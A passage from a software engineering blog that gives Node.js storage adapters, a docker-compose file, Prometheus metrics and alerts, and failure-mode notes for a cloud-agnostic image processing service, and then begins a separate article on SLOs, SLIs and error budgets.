    const file = this.bucket.file(key)
    const [url] = await file.getSignedUrl({
      action: "read",
      expires: Date.now() + ttl * 1000,
    })
    return url
  }

  get provider() {
    return "gcp"
  }
}

// Azure Blob Storage Implementation (imports collapsed)
// import { BlobServiceClient } from "@azure/storage-blob"

class AzureBlobStorageAdapter extends StorageAdapter {
  constructor(config) {
    super()
    this.blobServiceClient = BlobServiceClient.fromConnectionString(config.connectionString)
    this.containerClient = this.blobServiceClient.getContainerClient(config.containerName)
  }

  async put(key, buffer, contentType, metadata = {}) {
    const blockBlobClient = this.containerClient.getBlockBlobClient(key)
    await blockBlobClient.upload(buffer, buffer.length, {
      blobHTTPHeaders: { blobContentType: contentType },
      metadata,
    })
  }

  async get(key) {
    const blobClient = this.containerClient.getBlobClient(key)
    const downloadResponse = await blobClient.download()

    return await this.streamToBuffer(downloadResponse.readableStreamBody)
  }

  async delete(key) {
    const blobClient = this.containerClient.getBlobClient(key)
    await blobClient.delete()
  }

  async exists(key) {
    const blobClient = this.containerClient.getBlobClient(key)
    return await blobClient.exists()
  }

  async getSignedUrl(key, ttl = 3600) {
    const blobClient = this.containerClient.getBlobClient(key)
    const expiresOn = new Date(Date.now() + ttl * 1000)

    return await blobClient.generateSasUrl({
      permissions: "r",
      expiresOn,
    })
  }

  async streamToBuffer(readableStream) {
    return new Promise((resolve, reject) => {
      const chunks = []
      readableStream.on("data", (chunk) => chunks.push(chunk))
      readableStream.on("end", () => resolve(Buffer.concat(chunks)))
      readableStream.on("error", reject)
    })
  }

  get provider() {
    return "azure"
  }
}

// MinIO Implementation (S3-compatible for on-premise, imports collapsed)
// import * as Minio from "minio"

class MinIOStorageAdapter extends StorageAdapter {
  constructor(config) {
    super()
    this.client = new Minio.Client({
      endPoint: config.endPoint,
      port: config.port || 9000,
      useSSL: config.useSSL !== false,
      accessKey: config.accessKey,
      secretKey: config.secretKey,
    })
    this.bucket = config.bucket
  }

  async put(key, buffer, contentType, metadata = {}) {
    await this.client.putObject(this.bucket, key, buffer, buffer.length, {
      "Content-Type": contentType,
      ...metadata,
    })
  }

  async get(key) {
    const stream = await this.client.getObject(this.bucket, key)

    return new Promise((resolve, reject) => {
      const chunks = []
      stream.on("data", (chunk) => chunks.push(chunk))
      stream.on("end", () => resolve(Buffer.concat(chunks)))
      stream.on("error", reject)
    })
  }

  async delete(key) {
    await this.client.removeObject(this.bucket, key)
  }

  async exists(key) {
    try {
      await this.client.statObject(this.bucket, key)
      return true
    } catch (error) {
      if (error.code === "NotFound") {
        return false
      }
      throw error
    }
  }

  async getSignedUrl(key, ttl = 3600) {
    return await this.client.presignedGetObject(this.bucket, key, ttl)
  }

  get provider() {
    return "minio"
  }
}

/**
 * Storage Factory
 */
class StorageFactory {
  static create(config) {
    switch (config.provider) {
      case "aws":
      case "s3":
        return new S3StorageAdapter(config)

      case "gcp":
      case "gcs":
        return new GCSStorageAdapter(config)

      case "azure":
        return new AzureBlobStorageAdapter(config)

      case "minio":
      case "onprem":
        return new MinIOStorageAdapter(config)

      default:
        throw new Error(`Unsupported storage provider: ${config.provider}`)
    }
  }
}

export { StorageAdapter, StorageFactory }
```

### Deployment Configuration

```yaml title="docker-compose.yml" collapse={21-40, 60-95}
# docker-compose.yml for local development
version: "3.8"

services:
  # API Gateway
  gateway:
    build: ./services/gateway
    ports:
      - "3000:3000"
    environment:
      NODE_ENV: development
      DATABASE_URL: postgresql://postgres:password@postgres:5432/imageservice
      REDIS_URL: redis://redis:6379
      STORAGE_PROVIDER: minio
      MINIO_ENDPOINT: minio
      MINIO_ACCESS_KEY: minioadmin
      MINIO_SECRET_KEY: minioadmin
    depends_on:
      - postgres
      - redis
      - minio

  # Transform Engine
  transform:
    build: ./services/transform
    deploy:
      replicas: 3
    environment:
      DATABASE_URL: postgresql://postgres:password@postgres:5432/imageservice
      REDIS_URL: redis://redis:6379
      STORAGE_PROVIDER: minio
      MINIO_ENDPOINT: minio
      MINIO_ACCESS_KEY: minioadmin
      MINIO_SECRET_KEY: minioadmin
    depends_on:
      - postgres
      - redis
      - minio

  # Transform Workers
  worker:
    build: ./services/worker
    deploy:
      replicas: 3
    environment:
      DATABASE_URL: postgresql://postgres:password@postgres:5432/imageservice
      RABBITMQ_URL: amqp://rabbitmq:5672
      STORAGE_PROVIDER: minio
      MINIO_ENDPOINT: minio
      MINIO_ACCESS_KEY: minioadmin
      MINIO_SECRET_KEY: minioadmin
    depends_on:
      - postgres
      - rabbitmq
      - minio

  # PostgreSQL
  postgres:
    image: postgres:15-alpine
    environment:
      POSTGRES_DB: imageservice
      POSTGRES_USER: postgres
      POSTGRES_PASSWORD: password
    volumes:
      - postgres-data:/var/lib/postgresql/data
    ports:
      - "5432:5432"

  # Redis
  redis:
    image: redis:7-alpine
    command: redis-server --appendonly yes
    volumes:
      - redis-data:/data
    ports:
      - "6379:6379"

  # RabbitMQ
  rabbitmq:
    image: rabbitmq:3-management-alpine
    environment:
      RABBITMQ_DEFAULT_USER: admin
      RABBITMQ_DEFAULT_PASS: password
    ports:
      - "5672:5672"
      - "15672:15672"
    volumes:
      - rabbitmq-data:/var/lib/rabbitmq

  # MinIO (S3-compatible storage)
  minio:
    image: minio/minio:latest
    command: server /data --console-address ":9001"
    environment:
      MINIO_ROOT_USER: minioadmin
      MINIO_ROOT_PASSWORD: minioadmin
    ports:
      - "9000:9000"
      - "9001:9001"
    volumes:
      - minio-data:/data

volumes:
  postgres-data:
  redis-data:
  rabbitmq-data:
  minio-data:
```

---

## Cost Optimization

### Multi-Layer Caching Strategy

![Diagram](./diagram-7.svg)

### Storage Lifecycle Management

```javascript title="lifecycle-manager.js" collapse={1-9}
/**
 * Storage lifecycle manager
 */
class LifecycleManager {
  constructor(registry, storage) {
    this.registry = registry
    this.storage = storage
  }

  /**
   * Move derived assets to cold tier based on access patterns
   */
  async moveToColdTier() {
    const coldThresholdDays = 30
    const warmThresholdDays = 7

    // Find candidates for tiering
    const candidates = await this.registry.query(`
      SELECT id, storage_key, cache_tier, last_accessed_at, size_bytes
      FROM derived_assets
      WHERE cache_tier = 'hot'
        AND last_accessed_at < NOW() - INTERVAL '${coldThresholdDays} days'
        AND deleted_at IS NULL
      ORDER BY last_accessed_at ASC
      LIMIT 1000
    `)

    for (const asset of candidates.rows) {
      try {
        // Move to cold storage tier (Glacier Instant Retrieval, Coldline, etc.)
        await this.storage.moveToTier(asset.storageKey, "cold")

        // Update database
        await this.registry.updateCacheTier(asset.id, "cold")

        console.log(`Moved asset ${asset.id} to cold tier`)
      } catch (error) {
        console.error(`Failed to move asset ${asset.id}:`, error)
      }
    }

    // Similar logic for warm tier
    const warmCandidates = await this.registry.query(`
      SELECT id, storage_key, cache_tier
      FROM derived_assets
      WHERE cache_tier = 'hot'
        AND last_accessed_at < NOW() - INTERVAL '${warmThresholdDays} days'
        AND last_accessed_at >= NOW() - INTERVAL '${coldThresholdDays} days'
      LIMIT 1000
    `)

    for (const asset of warmCandidates.rows) {
      await this.storage.moveToTier(asset.storageKey, "warm")
      await this.registry.updateCacheTier(asset.id, "warm")
    }
  }

  /**
   * Delete unused derived assets
   */
  async pruneUnused() {
    const pruneThresholdDays = 90

    const unused = await this.registry.query(`
      SELECT id, storage_key
      FROM derived_assets
      WHERE access_count = 0
        AND created_at < NOW() - INTERVAL '${pruneThresholdDays} days'
      LIMIT 1000
    `)

    for (const asset of unused.rows) {
      try {
        await this.storage.delete(asset.storageKey)
        await this.registry.deleteDerivedAsset(asset.id)

        console.log(`Pruned unused asset ${asset.id}`)
      } catch (error) {
        console.error(`Failed to prune asset ${asset.id}:`, error)
      }
    }
  }
}
```

### Cost Projection

For a service serving **10 million requests/month**:

| Component      | Without Optimization   | With Optimization       | Savings |
| -------------- | ---------------------- | ----------------------- | ------- |
| **Processing** | 1M transforms × $0.001 | 50K transforms × $0.001 | 95%     |
| **Storage**    | 100TB × $0.023         | 100TB × $0.013 (tiered) | 43%     |
| **Bandwidth**  | 100TB × $0.09 (origin) | 100TB × $0.02 (CDN)     | 78%     |
| **CDN**        | —                      | 100TB × $0.02           | —       |
| **Total**      | **$12,300/month**      | **$5,400/month**        | **56%** |

Key optimizations:

- **95% CDN hit rate** reduces origin bandwidth
- **Transform deduplication** prevents reprocessing
- **Storage tiering** moves cold data to cheaper tiers
- **Smart caching** minimizes processing costs

---

## Monitoring & Operations

### Metrics Collection

```javascript title="metrics-registry.js" collapse={1-6}
import prometheus from "prom-client"

/**
 * Metrics registry
 */
class MetricsRegistry {
  constructor() {
    this.register = new prometheus.Registry()

    // Default metrics (CPU, memory, etc.)
    prometheus.collectDefaultMetrics({ register: this.register })

    // HTTP metrics
    this.httpRequestDuration = new prometheus.Histogram({
      name: "http_request_duration_seconds",
      help: "HTTP request duration in seconds",
      labelNames: ["method", "route", "status"],
      buckets: [0.01, 0.05, 0.1, 0.5, 1, 2, 5, 10],
    })

    this.httpRequestTotal = new prometheus.Counter({
      name: "http_requests_total",
      help: "Total HTTP requests",
      labelNames: ["method", "route", "status"],
    })

    // Transform metrics
    this.transformDuration = new prometheus.Histogram({
      name: "transform_duration_seconds",
      help: "Image transformation duration in seconds",
      labelNames: ["org", "format", "cached"],
      buckets: [0.1, 0.2, 0.5, 1, 2, 5, 10],
    })

    this.transformTotal = new prometheus.Counter({
      name: "transforms_total",
      help: "Total image transformations",
      labelNames: ["org", "format", "cached"],
    })

    this.transformErrors = new prometheus.Counter({
      name: "transform_errors_total",
      help: "Total transformation errors",
      labelNames: ["org", "error_type"],
    })

    // Cache metrics
    this.cacheHits = new prometheus.Counter({
      name: "cache_hits_total",
      help: "Total cache hits",
      labelNames: ["layer"], // cdn, redis, database
    })

    this.cacheMisses = new prometheus.Counter({
      name: "cache_misses_total",
      help: "Total cache misses",
      labelNames: ["layer"],
    })

    // Storage metrics
    this.storageOperations = new prometheus.Counter({
      name: "storage_operations_total",
      help: "Total storage operations",
      labelNames: ["provider", "operation"], // put, get, delete
    })

    this.storageBytesTransferred = new prometheus.Counter({
      name: "storage_bytes_transferred_total",
      help: "Total bytes transferred to/from storage",
      labelNames: ["provider", "direction"], // upload, download
    })

    // Business metrics
    this.assetsUploaded = new prometheus.Counter({
      name: "assets_uploaded_total",
      help: "Total assets uploaded",
      labelNames: ["org", "format"],
    })

    this.bandwidthServed = new prometheus.Counter({
      name: "bandwidth_served_bytes_total",
      help: "Total bandwidth served",
      labelNames: ["org", "space"],
    })

    // Register all metrics
    this.register.registerMetric(this.httpRequestDuration)
    this.register.registerMetric(this.httpRequestTotal)
    this.register.registerMetric(this.transformDuration)
    this.register.registerMetric(this.transformTotal)
    this.register.registerMetric(this.transformErrors)
    this.register.registerMetric(this.cacheHits)
    this.register.registerMetric(this.cacheMisses)
    this.register.registerMetric(this.storageOperations)
    this.register.registerMetric(this.storageBytesTransferred)
    this.register.registerMetric(this.assetsUploaded)
    this.register.registerMetric(this.bandwidthServed)
  }

  /**
   * Get metrics in Prometheus format
   */
  async getMetrics() {
    return await this.register.metrics()
  }
}

// Singleton instance
const metricsRegistry = new MetricsRegistry()

export default metricsRegistry
```

### Alerting Configuration

```yaml title="prometheus-alerts.yml"
groups:
  - name: image_service_alerts
    interval: 30s
    rules:
      # High error rate
      - alert: HighErrorRate
        expr: |
          (
            sum(rate(http_requests_total{status=~"5.."}[5m])) by (service)
            /
            sum(rate(http_requests_total[5m])) by (service)
          ) > 0.05
        for: 5m
        labels:
          severity: critical
        annotations:
          summary: "High error rate on {{ $labels.service }}"
          description: "Error rate is {{ $value | humanizePercentage }}"

      # Low cache hit rate
      - alert: LowCacheHitRate
        expr: |
          (
            sum(rate(cache_hits_total{layer="redis"}[10m]))
            /
            (sum(rate(cache_hits_total{layer="redis"}[10m])) + sum(rate(cache_misses_total{layer="redis"}[10m])))
          ) < 0.70
        for: 15m
        labels:
          severity: warning
        annotations:
          summary: "Low cache hit rate"
          description: "Cache hit rate is {{ $value | humanizePercentage }}, expected > 70%"

      # Slow transformations
      - alert: SlowTransformations
        expr: |
          histogram_quantile(0.95,
            sum(rate(transform_duration_seconds_bucket[5m])) by (le)
          ) > 2
        for: 10m
        labels:
          severity: warning
        annotations:
          summary: "Slow image transformations"
          description: "P95 transform time is {{ $value }}s, expected < 2s"

      # Queue backup
      - alert: QueueBacklog
        expr: rabbitmq_queue_messages{queue="transforms"} > 1000
        for: 10m
        labels:
          severity: warning
        annotations:
          summary: "Transform queue has backlog"
          description: "Queue depth is {{ $value }}, workers may be overwhelmed"

      # Storage quota warning
      - alert: StorageQuotaWarning
        expr: |
          (
            sum(storage_bytes_used) by (organization_id)
            /
            sum(storage_bytes_quota) by (organization_id)
          ) > 0.80
        for: 1h
        labels:
          severity: warning
        annotations:
          summary: "Organization {{ $labels.organization_id }} approaching storage quota"
          description: "Usage is {{ $value | humanizePercentage }} of quota"
```

### Health Checks

```javascript title="health-check.js" collapse={1-8}
/**
 * Health check service
 */
class HealthCheckService {
  constructor(dependencies) {
    this.db = dependencies.db
    this.redis = dependencies.redis
    this.storage = dependencies.storage
    this.queue = dependencies.queue
  }

  /**
   * Liveness probe - is the service running?
   */
  async liveness() {
    return {
      status: "ok",
      timestamp: new Date().toISOString(),
      uptime: process.uptime(),
    }
  }

  /**
   * Readiness probe - is the service ready to accept traffic?
   */
  async readiness() {
    const checks = {
      database: false,
      redis: false,
      storage: false,
      queue: false,
    }

    // Check database
    try {
      await this.db.query("SELECT 1")
      checks.database = true
    } catch (error) {
      console.error("Database health check failed:", error)
    }

    // Check Redis
    try {
      await this.redis.ping()
      checks.redis = true
    } catch (error) {
      console.error("Redis health check failed:", error)
    }

    // Check storage
    try {
      const testKey = ".health-check"
      const testData = Buffer.from("health")
      await this.storage.put(testKey, testData, "text/plain")
      await this.storage.get(testKey)
      await this.storage.delete(testKey)
      checks.storage = true
    } catch (error) {
      console.error("Storage health check failed:", error)
    }

    // Check queue
    try {
      // Implement queue-specific health check
      checks.queue = true
    } catch (error) {
      console.error("Queue health check failed:", error)
    }

    const allHealthy = Object.values(checks).every((v) => v === true)

    return {
      status: allHealthy ? "ready" : "not ready",
      checks,
      timestamp: new Date().toISOString(),
    }
  }
}

export default HealthCheckService
```

---

## Failure Modes and Edge Cases

This section documents failure scenarios, their detection, and recovery strategies. Understanding these modes is critical for production operations.

### Transform Timeout (> 800ms SLA breach)

**Cause**: Large images (> 5MB), complex operations (multiple resize + effects), cold storage retrieval, or resource contention.

**Detection**: `transform_duration_seconds` histogram exceeds p95 threshold.

**Mitigation strategies**:

1. **Size-based routing**: Queue images > 5MB to async workers, return 202 with polling URL
2. **Operation limits**: Cap maximum output dimensions (e.g., 4096×4096), reject excessive blur/sharpen values
3. **Timeout with fallback**: Return lower-quality transform or original if timeout approaches
4. **Pre-warm cold storage**: Move frequently accessed cold-tier assets back to hot tier proactively

```javascript title="timeout-handling.js" collapse={1-5, 25-35}
async function transformWithTimeout(assetId, operations, timeoutMs = 750) {
  const controller = new AbortController()
  const timeout = setTimeout(() => controller.abort(), timeoutMs)

  try {
    return await transform(assetId, operations, { signal: controller.signal })
  } catch (error) {
    if (error.name === "AbortError") {
      // Return degraded response or queue for async processing
      metrics.transformTimeouts.inc({ org: assetId.split("/")[0] })

      // Option 1: Return original (fastest fallback)
      return { fallback: "original", reason: "timeout" }

      // Option 2: Queue and return 202
      // await queue.publish('transforms', { assetId, operations })
      // return { status: 202, pollUrl: `/v1/transforms/${jobId}` }
    }
    throw error
  } finally {
    clearTimeout(timeout)
  }
}
```

### Storage Tier Restoration Latency

**Cold storage retrieval** (Glacier, Coldline, Archive) adds 1-12 hours of latency. This breaks the synchronous transform guarantee.

**Mitigation**:

1. **Tier tracking in database**: `derived_assets.cache_tier` column indicates current storage tier
2. **Proactive restoration**: Cron job restores cold assets with recent `last_accessed_at` updates
3. **Graceful degradation**: For cold original assets, return 202 and trigger async restoration

```sql title="cold-restoration-query.sql"
-- Find cold assets accessed recently that should be restored
SELECT id, storage_key, cache_tier
FROM derived_assets
WHERE cache_tier = 'cold'
  AND last_accessed_at > NOW() - INTERVAL '24 hours'
ORDER BY access_count DESC
LIMIT 100;
```

### CDN Cache Invalidation Failures

**Scenario**: Asset updated, but stale version persists in CDN edge caches.

**Root causes**:

- Invalidation API rate limits exceeded
- Propagation delays (CDNs quote 0-60 seconds, but outliers exist)
- Wildcard invalidation missed specific paths

**Mitigation**:

1. **Version in URL**: Include asset version (`/v{version}/`) so updates get new cache keys automatically
2. **Soft purge with fallback**: Use CDN's stale-while-revalidate to serve stale during revalidation
3. **Invalidation monitoring**: Track invalidation success rates and propagation times
4. **Dual-write period**: For critical updates, serve from origin for 60 seconds before relying on CDN

### Lock Contention Under Load

**Scenario**: Multiple workers compete for the same transform lock, causing lock acquisition timeouts.

**Detection**: `redlock_acquisition_failures` metric spikes, `lock_wait_time` increases.

**Mitigation**:

1. **Lock-free fast path**: Check if transform exists before acquiring lock (optimistic check)
2. **Retry with jitter**: Exponential backoff with randomized jitter to prevent thundering herd
3. **Lock timeout tuning**: Set lock TTL to 2x expected transform time, not a fixed value
4. **Shard by hash prefix**: Distribute lock contention across multiple Redis masters

### Partial Upload / Corrupt Original

**Scenario**: Upload interrupted, storage contains partial file, transform fails with cryptic libvips error.

**Detection**: Sharp throws `VipsError` on invalid input; content hash doesn't match expected.

**Mitigation**:

1. **Hash verification on upload**: Compute SHA-256 during upload, verify before marking complete
2. **Input validation**: Check magic bytes and basic structure before transformation
3. **Graceful error messages**: Map libvips errors to user-friendly responses

```javascript title="input-validation.js" collapse={1-3}
import sharp from "sharp"

async function validateImage(buffer) {
  try {
    const metadata = await sharp(buffer).metadata()

    // Check for reasonable dimensions
    if (metadata.width > 50000 || metadata.height > 50000) {
      return { valid: false, error: "Image dimensions exceed maximum (50000×50000)" }
    }

    // Check for minimum size (likely corrupt if too small)
    if (buffer.length < 100) {
      return { valid: false, error: "Image file too small, possibly corrupt" }
    }

    return { valid: true, metadata }
  } catch (error) {
    return { valid: false, error: `Invalid image: ${error.message}` }
  }
}
```

### Rate Limit Exhaustion

**Scenario**: Burst traffic exhausts rate limits, legitimate requests rejected.

**Mitigation**:

1. **Tiered limits**: Higher limits for authenticated requests vs. anonymous
2. **Burst allowance**: Sliding window with small burst buffer (e.g., 110% of limit for 10 seconds)
3. **Priority queuing**: VIP tenants get separate, higher limits
4. **Graceful 429 responses**: Include `Retry-After` header with exact reset time

---

## Conclusion

This architecture provides a production-ready foundation for building a cloud-agnostic image processing platform. The key insight is that image transformation is an ideal candidate for aggressive caching: transformations are pure functions (same inputs → same outputs), making content-addressed storage highly effective.

**Critical tradeoffs made in this design:**

1. **Synchronous-first over queue-first**: We accept higher p99 latency for small images in exchange for simpler client integration (no polling). For large images, we fall back to async.

2. **Efficiency locks over safety locks**: Redlock prevents duplicate work but doesn't guarantee mutual exclusion. This is acceptable because content-addressed storage ensures idempotency—duplicate transforms are wasteful, not dangerous.

3. **Edge authentication over origin-only**: Moving signature validation to the edge adds complexity but dramatically improves private content latency and reduces origin load.

4. **Storage tiering over uniform hot storage**: Cold storage introduces retrieval latency but reduces costs by 40-60% for infrequently accessed content.

**What this architecture does not cover:**

- Video transcoding (different latency characteristics, requires different chunking strategies)
- Real-time image editing (collaborative features, operational transforms)
- AI/ML-based transformations (background removal, upscaling—requires GPU infrastructure)
- Geographic data residency requirements (beyond standard CDN region configuration)

## Appendix

### Prerequisites

- Familiarity with distributed systems concepts (caching, consistency, partitioning)
- Understanding of HTTP caching semantics (Cache-Control, ETags, CDN behavior)
- Basic knowledge of image formats and compression (JPEG, WebP, AVIF characteristics)
- Experience with at least one cloud provider's storage and CDN offerings

### Terminology

| Term                           | Definition                                                                                    |
| ------------------------------ | --------------------------------------------------------------------------------------------- |
| **Asset**                      | An original uploaded image, stored with its content hash                                      |
| **Derived Asset**              | A transformed version of an asset, identified by the hash of (original + operations)          |
| **Content-Addressed**          | Storage keyed by content hash rather than arbitrary ID; same content → same key               |
| **Fencing Token**              | Monotonically increasing token used to detect stale lock holders                              |
| **Operations Hash**            | SHA-256 of (canonical operation string + original content hash + output format)               |
| **Signed URL**                 | URL with cryptographic signature proving authorization; includes expiration timestamp         |
| **Storage Tier**               | Access latency class: hot (ms), warm (seconds), cold (minutes to hours)                       |
| **Transform Canonicalization** | Normalizing operation parameters to ensure equivalent transforms produce identical cache keys |

### Summary

- **Multi-layer caching** (CDN → Redis → Database → Storage) eliminates 99.9% of redundant processing
- **Content-addressed storage** with deterministic hashing ensures transform idempotency
- **Sharp (libvips 8.18)** provides 26x performance over alternatives with ~50MB memory footprint
- **AVIF** (94.89% browser support) offers 50% compression improvement over JPEG; WebP (95.93%) offers 25-34%
- **Redlock** is appropriate for efficiency optimization but not safety-critical mutual exclusion
- **Edge authentication** with normalized cache keys maximizes CDN hit rates for private content
- **Hierarchical policies** (Organization → Tenant → Space) enable flexible multi-tenant isolation

### References

#### Specifications and Official Documentation

- [RFC 2104 - HMAC](https://datatracker.ietf.org/doc/html/rfc2104) - HMAC-SHA256 specification for signed URLs
- [AV1 Image File Format (AVIF)](https://aomediacodec.github.io/av1-avif/) - AOM AVIF specification
- [WebP Container Specification](https://developers.google.com/speed/webp/docs/riff_container) - Google WebP format spec
- [HTTP Caching (RFC 9111)](https://www.rfc-editor.org/rfc/rfc9111) - HTTP caching semantics

#### Core Library Documentation

- [Sharp Documentation](https://sharp.pixelplumbing.com/) - High-performance Node.js image processing
- [Sharp Performance Benchmarks](https://sharp.pixelplumbing.com/performance/) - 64.42 ops/sec JPEG, 26x faster than jimp
- [Sharp Changelog v0.34.5](https://sharp.pixelplumbing.com/changelog/) - November 2025 release notes
- [libvips 8.18 Release Notes](https://www.libvips.org/2025/12/04/What's-new-in-8.18.html) - UltraHDR, Camera RAW, Oklab support
- [Redis Distributed Locks](https://redis.io/docs/latest/develop/clients/patterns/distributed-locks/) - Official Redlock documentation

#### Design Rationale and Analysis

- [How to do Distributed Locking](https://martin.kleppmann.com/2016/02/08/how-to-do-distributed-locking.html) - Martin Kleppmann's Redlock analysis (fencing tokens, timing assumptions)
- [Is Redlock Safe?](https://antirez.com/news/101) - Salvatore Sanfilippo's (antirez) response

#### Browser Support and Format Comparison

- [Can I Use: AVIF](https://caniuse.com/avif) - 94.89% global support (January 2026)
- [Can I Use: WebP](https://caniuse.com/webp) - 95.93% global support (January 2026)
- [JPEG XL in Chromium](https://chromestatus.com/feature/5188299478007808) - Chrome team's January 2026 merge

#### Cloud Provider SDKs

- [AWS SDK for JavaScript v3](https://docs.aws.amazon.com/AWSJavaScriptSDK/v3/latest/) - S3 client
- [Google Cloud Storage Node.js](https://cloud.google.com/nodejs/docs/reference/storage/latest) - GCS client
- [Azure Blob Storage SDK](https://learn.microsoft.com/en-us/javascript/api/@azure/storage-blob/) - Azure Storage client

#### Edge Computing

- [CloudFlare Workers Documentation](https://developers.cloudflare.com/workers/) - Edge compute platform
- [CloudFront Functions](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/cloudfront-functions.html) - AWS edge compute
- [Fastly Compute@Edge](https://www.fastly.com/products/edge-compute) - Fastly edge platform

#### Frameworks and Tools

- [Fastify](https://fastify.dev/) - Low-overhead Node.js web framework
- [PostgreSQL JSONB](https://www.postgresql.org/docs/current/datatype-json.html) - JSON support documentation
- [Prometheus](https://prometheus.io/docs/introduction/overview/) - Monitoring and alerting toolkit

---

## SLOs, SLIs, and Error Budgets

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/platform-engineering/observability-reliability/slos-slis-error-budgets
**Category:** Platform Engineering / Observability & Reliability
**Description:** Service Level Objectives (SLOs), Service Level Indicators (SLIs), and error budgets form a framework for quantifying reliability and balancing it against development velocity. This is not just monitoring—it is a business tool that aligns engineering effort with user experience. SLIs measure what users care about, SLOs set explicit targets, and error budgets convert those targets into actionable resource constraints. The framework originated at Google’s SRE practice and has become the industry standard for reliability management. This article covers the design reasoning behind each concept, the mathematics of error budget consumption and burn rate alerting, and the operational practices that make SLOs effective in production.

# SLOs, SLIs, and Error Budgets

Service Level Objectives (SLOs), Service Level Indicators (SLIs), and error budgets form a framework for quantifying reliability and balancing it against development velocity. This is not just monitoring—it is a business tool that aligns engineering effort with user experience. SLIs measure what users care about, SLOs set explicit targets, and error budgets convert those targets into actionable resource constraints. The framework originated at Google's SRE practice and has become the industry standard for reliability management. This article covers the design reasoning behind each concept, the mathematics of error budget consumption and burn rate alerting, and the operational practices that make SLOs effective in production.

<figure>

![SLO framework: SLIs measure reliability, SLOs set targets, error budgets balance velocity and reliability investment.](./slo-framework-slis-measure-reliability-slos-set-targets-error-budgets-balance-ve.svg)

<figcaption>SLO framework: SLIs measure reliability, SLOs set targets, error budgets balance velocity and reliability investment.</figcaption>
</figure>

## Abstract

The SLO framework rests on three interdependent concepts:

- **SLIs** quantify user-centric reliability as a ratio of good events to valid events—measuring what users experience, not what systems report
- **SLOs** commit to explicit targets (e.g., "99.9% of requests succeed") over defined compliance periods, creating accountability
- **Error budgets** quantify acceptable unreliability (1 - SLO), converting abstract targets into concrete decision-making constraints

The critical insight: **100% reliability is neither achievable nor desirable**. Each additional "nine" costs exponentially more while providing diminishing user benefit. Error budgets make this trade-off explicit—when budget is exhausted, prioritize reliability; when budget remains, ship features.

Key operational decisions:

1. **Window selection**: Rolling windows (30 days) provide continuous feedback; calendar windows (monthly) reset favorably for reporting but mask user experience
2. **Burn rate alerting**: Multi-window, multi-burn-rate alerting detects both acute incidents (fast burn) and sustained degradation (slow burn) while reducing alert fatigue
3. **Error budget policies**: Automated release gates and mandatory postmortems tie SLO violations to concrete organizational responses

## Defining SLIs: User-Centric Reliability Measurement

An SLI is a quantitative measure of service behavior from the user's perspective. The fundamental formula:

$$
\text{SLI} = \frac{\text{Good Events}}{\text{Valid Events}} \times 100\%
$$

Where:

- **Good events**: Outcomes that satisfy user requirements (successful responses, responses under latency threshold)
- **Valid events**: All countable transactions in scope (excludes health checks, internal traffic)

### Why User-Centric, Not System-Centric

Traditional monitoring tracks system metrics: CPU utilization, memory pressure, network throughput. These metrics do not capture user experience:

| System Metric         | User Reality                                                     |
| --------------------- | ---------------------------------------------------------------- |
| 99.99% server uptime  | Users experiencing 100% error rate (load balancer misconfigured) |
| 50ms average latency  | P99 users waiting 30 seconds (outliers invisible in averages)    |
| All processes healthy | Users unable to complete transactions (upstream dependency down) |

The design principle from Google's SRE practice: "Start with what your users care about, not what's easy to measure." SLIs should reflect the user journey, not the infrastructure topology.

### SLI Types by Service Category

Different services require different SLI types:

| Service Type                   | Primary SLIs                       | Example                                                                          |
| ------------------------------ | ---------------------------------- | -------------------------------------------------------------------------------- |
| **Request-driven** (APIs, web) | Availability, latency, throughput  | 99.9% requests return 2xx in < 200ms                                             |
| **Storage systems**            | Durability, availability, latency  | 99.999999999% (11 nines) of objects retrievable                                  |
| **Data pipelines**             | Freshness, correctness, throughput | Data arrives within 5 minutes of ingestion, 99.9% of records processed correctly |
| **Scheduled jobs**             | Success rate, completion time      | 99% of daily jobs complete within SLA window                                     |

### Latency SLIs: Percentiles, Not Averages

Averages hide the user experience of the worst-affected users:

```
Average latency: 100ms
P50 (median): 50ms
P95: 200ms
P99: 2,000ms  ← 1% of users waiting 20x longer than average
```

For latency SLIs, use percentile thresholds:

$$
\text{Latency SLI} = \frac{\text{Requests with latency} \leq \text{threshold}}{\text{Total requests}} \times 100\%
$$

**Recommended percentile selection**:

- **P50**: Typical user experience; track for regressions but not for SLOs
- **P95**: Standard SLO target; represents "typical worst-case"
- **P99**: Critical for high-value transactions; catches tail latency
- **P99.9**: Used in latency-sensitive systems (trading, real-time bidding)

**Gotcha**: P99 requires statistical significance. With 100 requests/day, P99 is a single data point. For low-traffic services, use P90 or longer aggregation windows.

### SLI Measurement Points

Where you measure determines what you measure:

```
User → CDN → Load Balancer → Service → Database
  ^      ^         ^            ^
  |      |         |            └── Backend SLI (partial view)
  |      |         └────────────── Service SLI (misses network issues)
  |      └──────────────────────── Edge SLI (closer to user)
  └─────────────────────────────── Real User Monitoring (gold standard)
```

**Design trade-off**: Measuring closer to the user captures more failure modes but introduces measurement complexity (client-side instrumentation, data collection reliability). Most organizations start with service-side SLIs and add RUM (Real User Monitoring) for critical paths.

## Defining SLOs: Targets with Commitment

An SLO combines an SLI with a target and a compliance period:

```
SLO = SLI ≥ target over compliance_period

Example: 99.9% of HTTP requests return 2xx in < 200ms over a rolling 30-day window
```

### Choosing Targets: The "Nines" Trade-off

Each additional "nine" of reliability has exponential cost:

| Target  | Error Budget | Downtime/30 days | Engineering Implications                              |
| ------- | ------------ | ---------------- | ----------------------------------------------------- |
| 99%     | 1%           | 7.2 hours        | Standard deployments, basic redundancy                |
| 99.9%   | 0.1%         | 43 minutes       | Blue-green deployments, automated rollback            |
| 99.99%  | 0.01%        | 4.3 minutes      | Multi-region active-active, chaos engineering         |
| 99.999% | 0.001%       | 26 seconds       | Custom hardware, dedicated SRE team, limited releases |

**Design reasoning**: Users cannot distinguish 99.99% from 99.999%—both feel "always available." But achieving the extra nine requires fundamentally different architecture, operations, and organizational investment.

**Target selection heuristics**:

1. **Examine historical data**: What is your current reliability? Setting targets below historical performance guarantees constant violation
2. **Consider dependencies**: Your SLO cannot exceed your dependencies' reliability (if database is 99.9%, service cannot be 99.99%)
3. **Align with business value**: Premium features may warrant higher targets; experimental features may tolerate lower
4. **Start conservative**: It is easier to tighten targets than to relax them after users build expectations

### Compliance Periods: Rolling vs. Calendar Windows

**Rolling windows** (e.g., last 30 days):

- Update continuously as new data enters and old data exits
- Provide daily compliance measurements
- Align with user experience (failures do not "reset" on arbitrary dates)
- Better for operational decision-making

**Calendar windows** (e.g., monthly):

- Reset at period boundaries
- Full error budget restoration on first of month
